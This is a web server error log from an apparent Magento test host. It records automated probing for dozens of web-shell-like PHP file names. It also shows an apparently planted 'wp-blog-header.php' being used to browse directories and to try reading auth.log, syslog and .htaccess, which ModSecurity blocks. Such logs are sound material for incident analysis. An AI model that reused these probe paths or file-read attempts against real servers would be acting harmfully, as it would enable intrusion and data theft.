[Wed Mar 25 20:37:01.858449 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/autoload_classmap.php' not found or unable to stat
[Wed Mar 25 20:37:02.060782 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/chosen.php' not found or unable to stat
[Wed Mar 25 20:37:02.256845 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/classwithtostring.php' not found or unable to stat
[Wed Mar 25 20:37:02.463933 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/defaults.php' not found or unable to stat
[Wed Mar 25 20:37:03.081885 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/info.php' not found or unable to stat
[Wed Mar 25 20:37:06.120236 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/wp-good.php' not found or unable to stat
[Wed Mar 25 20:37:06.323711 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/file.php' not found or unable to stat
[Wed Mar 25 20:37:06.525502 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/bless.php' not found or unable to stat
[Wed Mar 25 20:37:06.721656 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/admin.php' not found or unable to stat
[Wed Mar 25 20:37:06.918979 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/ioxi-o.php' not found or unable to stat
[Wed Mar 25 20:37:07.116540 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/adminfuns.php' not found or unable to stat
[Wed Mar 25 20:37:07.537632 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/aa.php' not found or unable to stat
[Wed Mar 25 20:37:07.752222 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/xmrlpc.php' not found or unable to stat
[Wed Mar 25 20:37:07.948896 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/class.php' not found or unable to stat
[Wed Mar 25 20:37:08.167019 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/goods.php' not found or unable to stat
[Wed Mar 25 20:37:08.376375 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/info.php' not found or unable to stat
[Wed Mar 25 20:37:08.573175 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/as.php' not found or unable to stat
[Wed Mar 25 20:37:08.771908 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/aw.php' not found or unable to stat
[Wed Mar 25 20:37:08.968270 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/bb.php' not found or unable to stat
[Wed Mar 25 20:37:09.175101 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/about.php' not found or unable to stat
[Wed Mar 25 20:37:09.373812 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/222.php' not found or unable to stat
[Wed Mar 25 20:37:09.581161 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/test1.php' not found or unable to stat
[Wed Mar 25 20:37:09.793704 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/classwithtostring.php' not found or unable to stat
[Wed Mar 25 20:37:10.212165 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/fx.php' not found or unable to stat
[Wed Mar 25 20:37:10.409312 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/gelay.php' not found or unable to stat
[Wed Mar 25 20:37:10.616183 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/god4m.php' not found or unable to stat
[Wed Mar 25 20:37:10.812834 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/mari.php' not found or unable to stat
[Wed Mar 25 20:37:11.009503 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/moon.php' not found or unable to stat
[Wed Mar 25 20:37:11.210969 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/o.php' not found or unable to stat
[Wed Mar 25 20:37:11.423560 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/tmp.php' not found or unable to stat
[Wed Mar 25 20:37:11.859770 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/gfile.php' not found or unable to stat
[Wed Mar 25 20:37:12.073709 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/a2.php' not found or unable to stat
[Wed Mar 25 20:37:12.313801 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/sty.php' not found or unable to stat
[Wed Mar 25 20:37:12.516732 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/xxxx.php' not found or unable to stat
[Wed Mar 25 20:37:12.723565 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/h.php' not found or unable to stat
[Wed Mar 25 20:37:12.939070 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/g.php' not found or unable to stat
[Wed Mar 25 20:37:13.166369 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/pp.php' not found or unable to stat
[Wed Mar 25 20:37:13.417778 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/sys.php' not found or unable to stat
[Wed Mar 25 20:37:13.615186 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/txets.php' not found or unable to stat
[Wed Mar 25 20:37:13.814429 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/tt.php' not found or unable to stat
[Wed Mar 25 20:37:14.048917 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/wp9.php' not found or unable to stat
[Wed Mar 25 20:37:14.256615 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/path.php' not found or unable to stat
[Wed Mar 25 20:37:14.453999 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/wdf.php' not found or unable to stat
[Wed Mar 25 20:37:14.650672 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/fleen.php' not found or unable to stat
[Wed Mar 25 20:37:14.861369 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/wp-tem.php' not found or unable to stat
[Wed Mar 25 20:37:15.058137 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/av6m.php' not found or unable to stat
[Wed Mar 25 20:37:15.259650 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/autogooey.php' not found or unable to stat
[Wed Mar 25 20:37:15.471131 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/btx25.php' not found or unable to stat
[Wed Mar 25 20:37:15.668237 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/mga.php' not found or unable to stat
[Wed Mar 25 20:37:15.886073 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/maxro.php' not found or unable to stat
[Wed Mar 25 20:37:16.100094 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/agg.php' not found or unable to stat
[Wed Mar 25 20:37:16.297627 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/pass4.php' not found or unable to stat
[Wed Mar 25 20:37:16.493451 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/wsvvs.php' not found or unable to stat
[Wed Mar 25 20:37:16.703154 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/G-In.php' not found or unable to stat
[Wed Mar 25 20:37:16.964481 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/edit.php' not found or unable to stat
[Wed Mar 25 20:37:17.172704 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/ioxi-o.php' not found or unable to stat
[Wed Mar 25 20:37:17.591060 2026] [php:error] [pid 2930936] [client 20.151.201.236:48995] script '/var/www/magento.test.indacotrentino.com/www/pub/66.php' not found or unable to stat
[Wed Mar 25 20:37:18.406316 2026] [php:error] [pid 2930940] [client 20.151.201.236:48908] script '/var/www/magento.test.indacotrentino.com/www/pub/gifclass.php' not found or unable to stat
[Wed Mar 25 20:37:19.688604 2026] [php:error] [pid 2930940] [client 20.151.201.236:48908] script '/var/www/magento.test.indacotrentino.com/www/pub/adminer-3.3.4-cs.php' not found or unable to stat
[Wed Mar 25 20:37:19.921962 2026] [php:error] [pid 2930940] [client 20.151.201.236:48908] script '/var/www/magento.test.indacotrentino.com/www/pub/aves.php' not found or unable to stat
[Wed Mar 25 20:37:20.321383 2026] [php:error] [pid 2930940] [client 20.151.201.236:48908] script '/var/www/magento.test.indacotrentino.com/www/pub/fiyhxaae.php' not found or unable to stat
[Thu Mar 26 02:09:38.273377 2026] [php:error] [pid 2944044] [client 20.251.41.44:59374] script '/var/www/magento.test.indacotrentino.com/www/pub/inputs.php' not found or unable to stat
[Thu Mar 26 02:09:38.343808 2026] [php:error] [pid 2944044] [client 20.251.41.44:59374] script '/var/www/magento.test.indacotrentino.com/www/pub/8.php' not found or unable to stat
[Thu Mar 26 02:09:38.418891 2026] [php:error] [pid 2944044] [client 20.251.41.44:59374] script '/var/www/magento.test.indacotrentino.com/www/pub/kj.php' not found or unable to stat
[Thu Mar 26 02:09:38.491164 2026] [php:error] [pid 2944044] [client 20.251.41.44:59374] script '/var/www/magento.test.indacotrentino.com/www/pub/222.php' not found or unable to stat
[Thu Mar 26 02:09:38.561775 2026] [php:error] [pid 2944044] [client 20.251.41.44:59374] script '/var/www/magento.test.indacotrentino.com/www/pub/ms-edit.php' not found or unable to stat
[Thu Mar 26 04:36:24.517776 2026] [php:warn] [pid 2946667] [client 74.7.241.26:47434] PHP Warning: scandir(/var/lib/auditbeat): Failed to open directory: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 170, referer: https://forst-trento.test.indacotrentino.com/?path=/var/lib
[Thu Mar 26 04:36:24.518464 2026] [php:warn] [pid 2946667] [client 74.7.241.26:47434] PHP Warning: scandir(): (errno 13): Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 170, referer: https://forst-trento.test.indacotrentino.com/?path=/var/lib
[Thu Mar 26 04:36:24.518476 2026] [php:warn] [pid 2946667] [client 74.7.241.26:47434] PHP Warning: foreach() argument must be of type array|object, bool given in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 179, referer: https://forst-trento.test.indacotrentino.com/?path=/var/lib
[Thu Mar 26 04:36:24.518483 2026] [php:warn] [pid 2946667] [client 74.7.241.26:47434] PHP Warning: foreach() argument must be of type array|object, bool given in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 206, referer: https://forst-trento.test.indacotrentino.com/?path=/var/lib
[Thu Mar 26 04:37:24.139387 2026] [:error] [pid 2946674] [client 74.7.241.26:54712] [client 74.7.241.26] ModSecurity: Warning. Matched phrase "var/log/syslog" at ARGS:filesrc. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "96"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: var/log/syslog found within ARGS:filesrc: /var/log/syslog.1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSp9Ix4icjC4I1Sx2l8ogAAAAU"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 04:37:24.139885 2026] [:error] [pid 2946674] [client 74.7.241.26:54712] [client 74.7.241.26] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSp9Ix4icjC4I1Sx2l8ogAAAAU"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 04:37:24.139998 2026] [:error] [pid 2946674] [client 74.7.241.26:54712] [client 74.7.241.26] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSp9Ix4icjC4I1Sx2l8ogAAAAU"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 04:37:26.556427 2026] [php:warn] [pid 2946674] [client 74.7.241.26:54712] PHP Warning: scandir(/var/agentx): Failed to open directory: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 170, referer: https://forst-trento.test.indacotrentino.com/?path=/var
[Thu Mar 26 04:37:26.556464 2026] [php:warn] [pid 2946674] [client 74.7.241.26:54712] PHP Warning: scandir(): (errno 13): Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 170, referer: https://forst-trento.test.indacotrentino.com/?path=/var
[Thu Mar 26 04:37:26.556470 2026] [php:warn] [pid 2946674] [client 74.7.241.26:54712] PHP Warning: foreach() argument must be of type array|object, bool given in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 179, referer: https://forst-trento.test.indacotrentino.com/?path=/var
[Thu Mar 26 04:37:26.556475 2026] [php:warn] [pid 2946674] [client 74.7.241.26:54712] PHP Warning: foreach() argument must be of type array|object, bool given in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 206, referer: https://forst-trento.test.indacotrentino.com/?path=/var
[Thu Mar 26 04:37:48.840539 2026] [php:warn] [pid 2946674] [client 74.7.241.26:54712] PHP Warning: scandir(/var/run/lvm): Failed to open directory: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 170, referer: https://forst-trento.test.indacotrentino.com/?path=/var/run
[Thu Mar 26 04:37:48.840562 2026] [php:warn] [pid 2946674] [client 74.7.241.26:54712] PHP Warning: scandir(): (errno 13): Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 170, referer: https://forst-trento.test.indacotrentino.com/?path=/var/run
[Thu Mar 26 04:37:48.840568 2026] [php:warn] [pid 2946674] [client 74.7.241.26:54712] PHP Warning: foreach() argument must be of type array|object, bool given in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 179, referer: https://forst-trento.test.indacotrentino.com/?path=/var/run
[Thu Mar 26 04:37:48.840573 2026] [php:warn] [pid 2946674] [client 74.7.241.26:54712] PHP Warning: foreach() argument must be of type array|object, bool given in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 206, referer: https://forst-trento.test.indacotrentino.com/?path=/var/run
[Thu Mar 26 04:37:56.636693 2026] [php:warn] [pid 2957966] [client 74.7.241.26:56516] PHP Warning: scandir(/var/lock/lvm): Failed to open directory: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 170, referer: https://forst-trento.test.indacotrentino.com/?path=/var/lock
[Thu Mar 26 04:37:56.636716 2026] [php:warn] [pid 2957966] [client 74.7.241.26:56516] PHP Warning: scandir(): (errno 13): Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 170, referer: https://forst-trento.test.indacotrentino.com/?path=/var/lock
[Thu Mar 26 04:37:56.636722 2026] [php:warn] [pid 2957966] [client 74.7.241.26:56516] PHP Warning: foreach() argument must be of type array|object, bool given in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 179, referer: https://forst-trento.test.indacotrentino.com/?path=/var/lock
[Thu Mar 26 04:37:56.636727 2026] [php:warn] [pid 2957966] [client 74.7.241.26:56516] PHP Warning: foreach() argument must be of type array|object, bool given in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 206, referer: https://forst-trento.test.indacotrentino.com/?path=/var/lock
[Thu Mar 26 04:37:58.688128 2026] [php:warn] [pid 2957966] [client 74.7.241.26:56516] PHP Warning: scandir(/var/run/sudo): Failed to open directory: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 170, referer: https://forst-trento.test.indacotrentino.com/?path=/var/run
[Thu Mar 26 04:37:58.688147 2026] [php:warn] [pid 2957966] [client 74.7.241.26:56516] PHP Warning: scandir(): (errno 13): Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 170, referer: https://forst-trento.test.indacotrentino.com/?path=/var/run
[Thu Mar 26 04:37:58.688161 2026] [php:warn] [pid 2957966] [client 74.7.241.26:56516] PHP Warning: foreach() argument must be of type array|object, bool given in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 179, referer: https://forst-trento.test.indacotrentino.com/?path=/var/run
[Thu Mar 26 04:37:58.688175 2026] [php:warn] [pid 2957966] [client 74.7.241.26:56516] PHP Warning: foreach() argument must be of type array|object, bool given in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 206, referer: https://forst-trento.test.indacotrentino.com/?path=/var/run
[Thu Mar 26 04:38:14.211801 2026] [:error] [pid 2957966] [client 74.7.241.26:56516] [client 74.7.241.26] ModSecurity: Warning. Matched phrase ".htaccess" at ARGS:filesrc. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "96"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: .htaccess found within ARGS:filesrc: /var/www/magento.test.indacotrentino.com/www/.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSqJnjaQagbQ-omV-dq5QAAAAk"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/www/magento.test.indacotrentino.com/www
[Thu Mar 26 04:38:14.212394 2026] [:error] [pid 2957966] [client 74.7.241.26:56516] [client 74.7.241.26] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSqJnjaQagbQ-omV-dq5QAAAAk"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/www/magento.test.indacotrentino.com/www
[Thu Mar 26 04:38:14.212546 2026] [:error] [pid 2957966] [client 74.7.241.26:56516] [client 74.7.241.26] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSqJnjaQagbQ-omV-dq5QAAAAk"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/www/magento.test.indacotrentino.com/www
[Thu Mar 26 04:38:18.303860 2026] [php:warn] [pid 2957966] [client 74.7.241.26:56516] PHP Warning: scandir(//lost found): Failed to open directory: No such file or directory in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 170, referer: https://forst-trento.test.indacotrentino.com/?path=/
[Thu Mar 26 04:38:18.303887 2026] [php:warn] [pid 2957966] [client 74.7.241.26:56516] PHP Warning: scandir(): (errno 2): No such file or directory in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 170, referer: https://forst-trento.test.indacotrentino.com/?path=/
[Thu Mar 26 04:38:18.303893 2026] [php:warn] [pid 2957966] [client 74.7.241.26:56516] PHP Warning: foreach() argument must be of type array|object, bool given in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 179, referer: https://forst-trento.test.indacotrentino.com/?path=/
[Thu Mar 26 04:38:18.303897 2026] [php:warn] [pid 2957966] [client 74.7.241.26:56516] PHP Warning: foreach() argument must be of type array|object, bool given in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 206, referer: https://forst-trento.test.indacotrentino.com/?path=/
[Thu Mar 26 04:38:28.657935 2026] [:error] [pid 2957966] [client 74.7.241.26:56516] [client 74.7.241.26] ModSecurity: Warning. Matched phrase "var/log/auth.log" at ARGS:filesrc. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "96"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: var/log/auth.log found within ARGS:filesrc: /var/log/auth.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSqNHjaQagbQ-omV-drAAAAAAk"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 04:38:28.658472 2026] [:error] [pid 2957966] [client 74.7.241.26:56516] [client 74.7.241.26] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSqNHjaQagbQ-omV-drAAAAAAk"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 04:38:28.658636 2026] [:error] [pid 2957966] [client 74.7.241.26:56516] [client 74.7.241.26] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSqNHjaQagbQ-omV-drAAAAAAk"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 04:38:34.485504 2026] [:error] [pid 2957966] [client 74.7.241.26:56516] [client 74.7.241.26] ModSecurity: Warning. Matched phrase "var/log/auth.log" at ARGS:filesrc. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "96"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: var/log/auth.log found within ARGS:filesrc: /var/log/auth.log.1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSqOnjaQagbQ-omV-drCwAAAAk"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 04:38:34.486007 2026] [:error] [pid 2957966] [client 74.7.241.26:56516] [client 74.7.241.26] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSqOnjaQagbQ-omV-drCwAAAAk"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 04:38:34.486185 2026] [:error] [pid 2957966] [client 74.7.241.26:56516] [client 74.7.241.26] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSqOnjaQagbQ-omV-drCwAAAAk"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 04:38:35.044687 2026] [:error] [pid 2957966] [client 74.7.241.26:56516] [client 74.7.241.26] ModSecurity: Warning. Matched phrase "var/log/kern.log" at ARGS:filesrc. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "96"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: var/log/kern.log found within ARGS:filesrc: /var/log/kern.log.1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSqO3jaQagbQ-omV-drDAAAAAk"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
